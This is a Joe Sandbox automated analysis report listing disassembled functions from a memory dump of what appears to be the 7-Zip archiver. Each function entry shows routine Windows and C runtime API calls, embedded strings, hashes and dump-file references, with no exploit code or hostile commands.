Instruction ID: 9f3a4f3062ed3446516179bed45c40e63bcedc223e43c0d24fd82ee7d4392b64
Opcode Fuzzy Hash: 835e30b8a2ce9afd242e3c27a4bd6d2521a716217a04de116505d45ba31023b0
Instruction Fuzzy Hash: 5E318272224A4181CB20DF24E45175E7370FB89BA4F546225FB9E477E9DF38CA4ACB00

Function 00C0EF70 Relevance: 6.3, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0EFBF
free.MSVCRT ref: 00C0EFC8
free.MSVCRT ref: 00C0EFD0
memmove.MSVCRT ref: 00C0F00D
free.MSVCRT ref: 00C0F015

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 9a39179057fc4b698db1469c34720306d33abb4d3d1416dbc86e8f68b6a95521
Instruction ID: 17f6e3d144ef87cd1edefe0e5f35818cc111d38e436f0c5c43c9ee8e2eb83b92
Opcode Fuzzy Hash: 9a39179057fc4b698db1469c34720306d33abb4d3d1416dbc86e8f68b6a95521
Instruction Fuzzy Hash: AC21AE7271179586DA24EF57E98422D7324F748BE8B088139AF3907BD5DF34D9A2C340

Function 00C0C790 Relevance: 6.3, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C0C7BB
memcmp.MSVCRT ref: 00C0C7D6
memcmp.MSVCRT ref: 00C0C7EC

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 712599938bbeffd81504be00bb0ea2eb8721062aa4075a36f0ea6c542d0c478b
Instruction ID: 5e42a3c3ee4249f6d8a9d8d513cacb477b3bb0d5f5b2d5efaf767d6a7f730086
Opcode Fuzzy Hash: 712599938bbeffd81504be00bb0ea2eb8721062aa4075a36f0ea6c542d0c478b
Instruction Fuzzy Hash: 1411A3A634474191FB049B269C913AC3325A709FC5FC59225CE0547786EF38DA85E308

Function 00C03BE4 Relevance: 6.3, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 00C03C2A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 00C03C36
_CxxThrowException.MSVCRT ref: 00C03C54
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 00C03C80
_CxxThrowException.MSVCRT ref: 00C03C9E

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ByteCharExceptionMultiThrowWide$ErrorLast
String ID:
API String ID: 2296236218-0
Opcode ID: 970d5cdc5d485172c45e5e67665dade64923c0f4ace1f899d0aee1bf120422e8
Instruction ID: 6837a598350d6e432027defdfc8a81fe7ada7f1050dcd4c316e7963691025e86
Opcode Fuzzy Hash: 970d5cdc5d485172c45e5e67665dade64923c0f4ace1f899d0aee1bf120422e8
Instruction Fuzzy Hash: 2D21B4B2700B8486EB20DF16E85071DB7A5FB88F88F448229DB4993764EF78C946CB00

Function 00C0182C Relevance: 6.3, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C01868
free.MSVCRT ref: 00C01872
free.MSVCRT ref: 00C0187C
free.MSVCRT ref: 00C018A9
free.MSVCRT ref: 00C018B1

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: bfe4f0f55ee913568f211c4fbf308b9aee0fbd2fe155706c5642a99402e277d4
Instruction ID: 03e15791257ad9e09ae4fe4ff797d567df124ca8f583c530b49c9f1fc8206828
Opcode Fuzzy Hash: bfe4f0f55ee913568f211c4fbf308b9aee0fbd2fe155706c5642a99402e277d4
Instruction Fuzzy Hash: A6018033702A64D6DA24EF26D95456D6320F786FA4B1D9322AF6D177D4CF24DA12C380

Function 00C47D84 Relevance: 6.3, APIs: 5, Instructions: 42COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C47DA9
free.MSVCRT ref: 00C47DB2
free.MSVCRT ref: 00C47DE5
free.MSVCRT ref: 00C47DF2
free.MSVCRT ref: 00C47DFB

Part of subcall function 00C294A8: free.MSVCRT ref: 00C294DB
Part of subcall function 00C294A8: free.MSVCRT ref: 00C294E3
Part of subcall function 00C294A8: free.MSVCRT ref: 00C294F0
Part of subcall function 00C294A8: free.MSVCRT ref: 00C2951C
Part of subcall function 00C294A8: free.MSVCRT ref: 00C29525
Part of subcall function 00C294A8: free.MSVCRT ref: 00C2952D
Part of subcall function 00C294A8: free.MSVCRT ref: 00C2953A

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 782f6fd7dc41bf8ca513220e7cc76460a379d2f1bbd67af93ff481f02cf2e1fb
Instruction ID: 1e71cb08d70ced6940fa5ed3d20b81b0fdfc43ee1ebe68bc81663ced415d148f
Opcode Fuzzy Hash: 782f6fd7dc41bf8ca513220e7cc76460a379d2f1bbd67af93ff481f02cf2e1fb
Instruction Fuzzy Hash: 66014F33B12E60C9DA15AF26EC5536C2324EB45FA4F580222AF1D4B355EF21CC82D380

Function 00C23864 Relevance: 6.3, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C23877

Part of subcall function 00C20BBC: free.MSVCRT ref: 00C20BCC
Part of subcall function 00C20BBC: free.MSVCRT ref: 00C20BD5
Part of subcall function 00C20BBC: free.MSVCRT ref: 00C20C00
Part of subcall function 00C20BBC: free.MSVCRT ref: 00C20C08

Part of subcall function 00C21474: free.MSVCRT ref: 00C214A6
Part of subcall function 00C21474: free.MSVCRT ref: 00C214AF
Part of subcall function 00C21474: free.MSVCRT ref: 00C214B8
Part of subcall function 00C21474: free.MSVCRT ref: 00C214C0

free.MSVCRT ref: 00C23892
free.MSVCRT ref: 00C2389B
free.MSVCRT ref: 00C238C6
free.MSVCRT ref: 00C238CE

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 18ccfc5564c15e61a23e9604fa5b251626cea37ac211422c809096770ce5a63d
Instruction ID: f360b6c38738d6afcba327d9ffe99334d77904cd035f889545a84ccba7578d3b
Opcode Fuzzy Hash: 18ccfc5564c15e61a23e9604fa5b251626cea37ac211422c809096770ce5a63d
Instruction Fuzzy Hash: CEF06D23B12AA496CA15FE26ED5516C2320BB85F907081163AF2D4BB91DF20CD62D380

Function 00C2C9CC Relevance: 6.3, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C2C9FE
free.MSVCRT ref: 00C2CA07
free.MSVCRT ref: 00C2CA10
free.MSVCRT ref: 00C2CA19
free.MSVCRT ref: 00C2CA21

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c213d67050506c93901002ddd1084c0dd65243c9eb9d617befeb87ee319482a8
Instruction ID: 69d5fc690ad6f0514a3acceb6dbfdf3ba4b289a7ad21e3199a7404750f4b0136
Opcode Fuzzy Hash: c213d67050506c93901002ddd1084c0dd65243c9eb9d617befeb87ee319482a8
Instruction Fuzzy Hash: 86F036237116A4C9DA10EE27EDD516C63109F55BE871C5172FF2E47795DE20CC52D380

Function 00C12A84 Relevance: 6.3, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C12A94
free.MSVCRT ref: 00C12A9D
free.MSVCRT ref: 00C12AC9
free.MSVCRT ref: 00C12AD1
free.MSVCRT ref: 00C12ADE

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 99aac3ebba39b973ad56ba9f7cc64fb651a8512a5e29eea15e4582f1b066fd79
Instruction ID: 9c838e168d632bc102f03f9ddaa1d0864d02b58420a4effa88d461e5459472e6
Opcode Fuzzy Hash: 99aac3ebba39b973ad56ba9f7cc64fb651a8512a5e29eea15e4582f1b066fd79
Instruction Fuzzy Hash: 2AF03037711A54C9CB25EE36DD5516C6320EB96FD47191162AF2D4B399DE20CC92E380

Function 00C2CA3C Relevance: 6.3, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C2CA6E
free.MSVCRT ref: 00C2CA77
free.MSVCRT ref: 00C2CA80
free.MSVCRT ref: 00C2CA89
free.MSVCRT ref: 00C2CA91

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f7456f4712a6592163503973d257ef0995b2ed4d21bfa0f5baa221aafdf9fe8c
Instruction ID: dfcb514498bac1b832e32baacdae59e3f7b9594272d74c5f94db0e9563d8afc9
Opcode Fuzzy Hash: f7456f4712a6592163503973d257ef0995b2ed4d21bfa0f5baa221aafdf9fe8c
Instruction Fuzzy Hash: 0AF096637016A4CDCA10EE26ECC525C2310AF55BE9B1C5172BF2D07B95DE20CC92D380

Function 00C47690 Relevance: 6.3, APIs: 5, Instructions: 22COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C476AF
free.MSVCRT ref: 00C476BB
free.MSVCRT ref: 00C476C7
free.MSVCRT ref: 00C476D3

Part of subcall function 00C4B310: free.MSVCRT ref: 00C4B335
Part of subcall function 00C4B310: free.MSVCRT ref: 00C4B342
Part of subcall function 00C4B310: free.MSVCRT ref: 00C4B34E
Part of subcall function 00C4B310: free.MSVCRT ref: 00C4B358
Part of subcall function 00C4B310: free.MSVCRT ref: 00C4B362
Part of subcall function 00C4B310: free.MSVCRT ref: 00C4B36C
Part of subcall function 00C4B310: free.MSVCRT ref: 00C4B376
Part of subcall function 00C4B310: free.MSVCRT ref: 00C4B380

free.MSVCRT ref: 00C476E4

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 80021553301d9a40d6bbe7854cc860826636cb7fafc5824219d75b22b7ddba10
Instruction ID: 025f8875ee687e4983638f3ad59c201514cc8e91685c23b445ee8eae4102c9a9
Opcode Fuzzy Hash: 80021553301d9a40d6bbe7854cc860826636cb7fafc5824219d75b22b7ddba10
Instruction Fuzzy Hash: BDE0C972211A90C1CA50EF36C8991EC2360E799B58F181272AA2E8E3A2DE10CD83D390

Function 00C402F0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00C403A1
memmove.MSVCRT ref: 00C403F9
_CxxThrowException.MSVCRT ref: 00C40454

Strings

Internal collision in update action set, xrefs: 00C40383, 00C4043C

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrow$memmove
String ID: Internal collision in update action set
API String ID: 265668421-2378581463
Opcode ID: 2489d0cffbcfc2a2b50f9be8098032778b6c83d9b82680e9d68b7dd3d3502d6c
Instruction ID: 3b50d7b664a03f75d4b7e25444d426fbc2c2a83dc67989acf77e75b0562a4a79
Opcode Fuzzy Hash: 2489d0cffbcfc2a2b50f9be8098032778b6c83d9b82680e9d68b7dd3d3502d6c
Instruction Fuzzy Hash: 1C4137373086858ADB34CF1AE458B6E7B50F38578CF249219EF8907B69DB78D685CB00

Function 00C44594 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C446C5
free.MSVCRT ref: 00C446DD
free.MSVCRT ref: 00C446E7

Part of subcall function 00C02C78: free.MSVCRT ref: 00C02CAE

Strings

= , xrefs: 00C4461C, 00C44634

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID: =
API String ID: 1294909896-2525689732
Opcode ID: 40c11fba967689670f12ed8931cb4eba44630f327dd0b6864abb2cd98b0bc6cc
Instruction ID: 9a38d86259a580f63cab630319ba8eb7fc8d6e3a0aacffcedf622de70804fdb4
Opcode Fuzzy Hash: 40c11fba967689670f12ed8931cb4eba44630f327dd0b6864abb2cd98b0bc6cc
Instruction Fuzzy Hash: E3310933315A80C6CB14DF55E49079EB720F7D2760FA41222FB8E43AA8DB78C945DB00

Function 00C36D5C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C36E91

Part of subcall function 00C03518: free.MSVCRT ref: 00C03551

Part of subcall function 00C03314: memmove.MSVCRT ref: 00C03339

free.MSVCRT ref: 00C36E83

Strings

exe, xrefs: 00C36DEE

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID: exe
API String ID: 1534225298-1801697008
Opcode ID: 76770eb1b0aff3fcbaddab3083a3c2637205f7744bad9aa1b7e03b28f3d0466f
Instruction ID: f441844496f469628b158ab9e69345e6bd793f171411335bce92ee292a64af1b
Opcode Fuzzy Hash: 76770eb1b0aff3fcbaddab3083a3c2637205f7744bad9aa1b7e03b28f3d0466f
Instruction Fuzzy Hash: 0C318663314941A6CA30EB25E84019EBB30F7857D4F845212EB9E477A9DF28D68AD700

Function 00C29380 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C293B0
SysStringByteLen.OLEAUT32 ref: 00C29411
free.MSVCRT ref: 00C2942C
memmove.MSVCRT ref: 00C29462

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ByteStringmemmove
String ID:
API String ID: 400576877-0
Opcode ID: 627be9a5ab345c6a2ae9b3d4a8fa1f013a1db37638386f1ebadb93c6192a02ff
Instruction ID: c84f3743acdeac5de4b92c8f104cac855e96fe9e83e066fe80275fcd1a237e13
Opcode Fuzzy Hash: 627be9a5ab345c6a2ae9b3d4a8fa1f013a1db37638386f1ebadb93c6192a02ff
Instruction Fuzzy Hash: 6021A7733047A092EB24EF52F5507A97260FB887E4F484225AFAE0BB94DF78C956C704

Function 00C29644 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 00C296D5
free.MSVCRT ref: 00C296F1
free.MSVCRT ref: 00C29706

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$wcscmp
String ID:
API String ID: 4021281200-0
Opcode ID: 1721c6616b74a4c47d99cfe980b2e26b6a86647a23934d96b3aa9ed1d32fc9d1
Instruction ID: 972ca05b1049324d4fc752ad43b36f49f9ba445bacca7b56c9d8538ad12666a2
Opcode Fuzzy Hash: 1721c6616b74a4c47d99cfe980b2e26b6a86647a23934d96b3aa9ed1d32fc9d1
Instruction Fuzzy Hash: DD21F23631475082DB20EF26F4442697360E7C5BE4F045322EE6A47BA4EF34C986DB00

Function 00C0FADC Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0FB44

Strings

Unsupported charset:, xrefs: 00C0FB91

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID: Unsupported charset:
API String ID: 1294909896-616772432
Opcode ID: 9e42c2d2b4e1f7d5b703db533c77dc73d7d9a80e6522a8e966b0da96d7856300
Instruction ID: 139f44864734aa9ba285dd19ca27e5aea56ee7d83edc5094595fda507a7d285d
Opcode Fuzzy Hash: 9e42c2d2b4e1f7d5b703db533c77dc73d7d9a80e6522a8e966b0da96d7856300
Instruction Fuzzy Hash: 19217173204A0092DB20DB18E8947AD7721E7C47E4F545326EBAD47BF5DF68CA86CB40

Function 00C06D48 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C07D4C: GetFileAttributesW.KERNELBASE ref: 00C07D6E
Part of subcall function 00C07D4C: GetFileAttributesW.KERNEL32 ref: 00C07DA5
Part of subcall function 00C07D4C: free.MSVCRT ref: 00C07DB2

DeleteFileW.KERNEL32 ref: 00C06D90
DeleteFileW.KERNEL32 ref: 00C06DCA
free.MSVCRT ref: 00C06DDA
free.MSVCRT ref: 00C06DE8

Part of subcall function 00C068A0: SetFileAttributesW.KERNELBASE ref: 00C068C7

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: File$Attributesfree$Delete
String ID:
API String ID: 324319583-0
Opcode ID: 9ea681c350cecb0b42c71b1f35ea49690d0665b5843397cde649d2af5f6ea4c4
Instruction ID: 839133401a80f99d11c06f7379e5a35e01aa6e03c41c6592f9cde2fa48635ac9
Opcode Fuzzy Hash: 9ea681c350cecb0b42c71b1f35ea49690d0665b5843397cde649d2af5f6ea4c4
Instruction Fuzzy Hash: A001403234470181DA30AF25AC6536D53215BC6BB4F581321AD7A8B3E5EE28CA66E600

Function 00C1211C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C12137
free.MSVCRT ref: 00C121BB

Part of subcall function 00C06618: FormatMessageW.KERNEL32 ref: 00C06676
Part of subcall function 00C06618: LocalFree.KERNEL32 ref: 00C06698

Part of subcall function 00C0362C: memmove.MSVCRT ref: 00C03659

free.MSVCRT ref: 00C12182

Strings

: , xrefs: 00C12151, 00C12187

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ErrorFormatFreeLastLocalMessagememmove
String ID: :
API String ID: 1743135865-3653984579
Opcode ID: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
Instruction ID: f3af7028dde1750dcb07c7faa7b065a9ee7e1c866f67d98f3b23a329cdae50a9
Opcode Fuzzy Hash: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
Instruction Fuzzy Hash: AF016567300D4091CA21EB25E84429E6721FBC9BF4F585321BE5E877F9DE29CA86D740

Function 00C0C878 Relevance: 6.0, APIs: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00C0C898
ReadFile.KERNEL32 ref: 00C0C8B3
GetLastError.KERNEL32 ref: 00C0C8CD
GetLastError.KERNEL32 ref: 00C0C8DC

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
